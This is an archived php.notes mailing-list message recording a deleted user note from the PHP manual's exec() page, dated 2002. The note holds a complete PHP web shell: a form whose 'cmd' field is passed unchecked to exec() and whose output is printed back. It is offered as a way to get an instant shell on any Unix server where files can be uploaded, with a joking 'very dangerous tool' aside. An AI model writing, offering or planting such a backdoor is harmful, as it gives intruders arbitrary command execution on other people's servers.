note 24046 deleted from function.exec by dams
| From: | dams@php.net | Date: | Mon, 05 Aug 2002 20:08:26 +0000 |
| Subject: | note 24046 deleted from function.exec by dams | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-34324@lists.php.net to get a copy of this message | ||
Well, it's a very good tool to get an instant shell on any unix machine on that you've got
file uploading permission.
For example:
<html><head></head><body><form name="form"
method="post">
sh~$ <input type="text" name="cmd" size="32">
<input type="submit" name="submit" value=" OK "></form>
<?php
if(isset($cmd)) {
exec(urldecode($cmd." 2>&1"),$f1,$r1);
if($r1 == 0) {
print("<pre>\n");
foreach($f1 as $f2) print(htmlentities($f2)."\n");
print("</pre>\n"); }
else print("ERROR: $f1[0]<br>\n");
}
?>
</body></html>
I think it's a very dangerous tool :)))